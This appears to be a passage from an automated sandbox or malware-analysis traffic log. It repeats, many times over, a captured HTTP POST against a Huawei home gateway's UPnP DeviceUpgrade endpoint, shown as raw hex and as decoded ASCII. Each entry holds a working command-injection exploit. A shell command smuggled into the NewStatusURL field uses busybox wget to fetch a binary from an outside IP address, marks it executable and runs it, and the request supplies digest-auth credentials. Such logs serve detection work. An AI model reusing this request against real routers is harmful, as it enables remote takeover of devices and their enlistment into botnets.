3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 